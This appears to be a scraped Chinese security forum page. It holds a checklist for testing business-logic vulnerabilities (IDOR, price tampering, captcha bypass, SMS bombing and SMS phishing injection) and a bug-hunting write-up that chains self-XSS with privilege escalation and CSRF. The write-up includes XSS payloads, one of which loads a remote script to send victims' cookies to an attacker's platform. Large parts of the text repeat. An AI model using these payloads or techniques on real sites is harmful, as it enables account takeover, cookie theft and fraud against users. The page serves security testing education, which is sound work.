抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。[]验证码客户端回显测试[/]a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息[]验证码绕过测试[/]a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷[]验证码js绕过[/]a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。0x07 业务授权安全[]未授权访问[/]a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。[]越权访问[/]越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定[]a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]0x08 业务流程乱序[]顺序执行缺陷[/]a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-01081840x09 业务接口调用安全[]重放攻击[/]在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果[]a) 恶意注册[/][]b) 短信炸111弹[/]在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)[]内容编辑[/]似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容


将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:


0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。[]时间刷新缺陷[/]12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞[]时间范围测试[/]

针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 

0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
  查看全部
文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。


Image.png

Image1.png



0x01 身份认证安全
    []暴力破解 [/]

在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴)

 
    []session & cookie类[/]

会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录

    []弱加密[/]

未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解

0x02 业务一致性安全
    []手机号篡改[/]

a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。

    []邮箱或者用户篡改[/]

a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2

    []订单id篡改[/]

a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单

    []商品编号篡改[/]

a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过

    []用户id篡改[/]

a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 

0x03 业务数据篡改
    []金额数据篡改[/]

a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)

    []商品数量篡改[/]

a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)

    []最大数限制突破[/]

a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。

    []本地js参数修改[/]

a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。

0x04 用户输入合规性
    []注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]

a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike

    []其他用用户输入交互的应用漏洞[/]
0x05 密码找回漏洞
    []大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]

i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测

    []脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]
0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。
    []验证码暴力破解测试[/]

a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包

    []验证码时间、次数测试[/]

a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。

    []验证码客户端回显测试[/]

a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息

    []验证码绕过测试[/]

a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷

    []验证码js绕过[/]

a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。

0x07 业务授权安全
    []未授权访问[/]

a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。

    []越权访问[/]

越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定

    []a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]

0x08 业务流程乱序
    []顺序执行缺陷[/]

a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-0108184

0x09 业务接口调用安全
    []重放攻击[/]

在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果

    []a) 恶意注册[/][]b) 短信炸111弹[/]
在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)

    []内容编辑[/]

似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容

Image3.png
将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:
Image4.png

0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。
    []时间刷新缺陷[/]

12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞

    []时间范围测试[/]


针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 


0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
 

漏洞挖掘中的脑洞大开---使用漏洞组合拳扩大漏洞危害

渗透实战分享lawliet 发表了文章 • 5 个评论 • 650 次浏览 • 2018-07-28 22:51 • 来自相关话题

这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf
、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变成高危
组合拳一式:selfxss+水平越权漏洞
虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行
举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞
尝试新增常用联系人,在详细地址的位置插入xss的payload




<script>alert(document.cookie)</script>





但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie
还是之前测试越权的两个账号
用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069
首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息
 
xsspayload:<script src=xss平台上的远程脚本></script>
之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权






修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)






可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息






然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie






接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞
组合拳二式:selfxss+csrf
selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果
举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:" onmouseover="alalertert(1)









提交完签名后刷新页面后发现可以弹框






但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大
别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制
于是想到了一个思路,那就是在自己服务器上创建一个名为"该网站域名.html"的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来






之后模拟受害者使用同一浏览器去访问我服务器的页面






可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名






可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的
总结:
这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~
 
 
  查看全部
这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf
、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变成高危
组合拳一式:selfxss+水平越权漏洞
虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行
举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞
尝试新增常用联系人,在详细地址的位置插入xss的payload

1.png
<script>alert(document.cookie)</script>

1.png


但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie
还是之前测试越权的两个账号
用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069
首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息
 
xsspayload:
<script src=xss平台上的远程脚本></script>

之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权

1.png


修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)

0.png


可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息

2.png


然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie

7.png


接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞
组合拳二式:selfxss+csrf
selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果
举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:
" onmouseover="alalertert(1)




4.png


提交完签名后刷新页面后发现可以弹框

18.png


但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大
别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制
于是想到了一个思路,那就是在自己服务器上创建一个名为"该网站域名.html"的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来

03.png


之后模拟受害者使用同一浏览器去访问我服务器的页面

49.png


可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名

26.png


可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的
总结:
这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~
 
 
 

业务安全漏洞挖掘归纳总结

Web安全渗透admin 发表了文章 • 8 个评论 • 1341 次浏览 • 2016-11-04 15:05 • 来自相关话题

文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。











0x01 身份认证安全
[]暴力破解 [/]在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴) []session & cookie类[/]会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录[]弱加密[/]未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解0x02 业务一致性安全[]手机号篡改[/]a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。[]邮箱或者用户篡改[/]a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2[]订单id篡改[/]a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单[]商品编号篡改[/]a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过[]用户id篡改[/]a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 0x03 业务数据篡改[]金额数据篡改[/]a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)[]商品数量篡改[/]a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)[]最大数限制突破[/]a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。[]本地js参数修改[/]a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。0x04 用户输入合规性[]注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike[]其他用用户输入交互的应用漏洞[/]0x05 密码找回漏洞[]大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测[]脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。[]验证码暴力破解测试[/]a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包[]验证码时间、次数测试[/]a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。[]验证码客户端回显测试[/]a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息[]验证码绕过测试[/]a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷[]验证码js绕过[/]a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。0x07 业务授权安全[]未授权访问[/]a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。[]越权访问[/]越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定[]a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]0x08 业务流程乱序[]顺序执行缺陷[/]a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-01081840x09 业务接口调用安全[]重放攻击[/]在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果[]a) 恶意注册[/][]b) 短信炸111弹[/]在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)[]内容编辑[/]似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容


将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:


0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。[]时间刷新缺陷[/]12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞[]时间范围测试[/]

针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 

0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
  查看全部
文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。


Image.png

Image1.png



0x01 身份认证安全
    []暴力破解 [/]

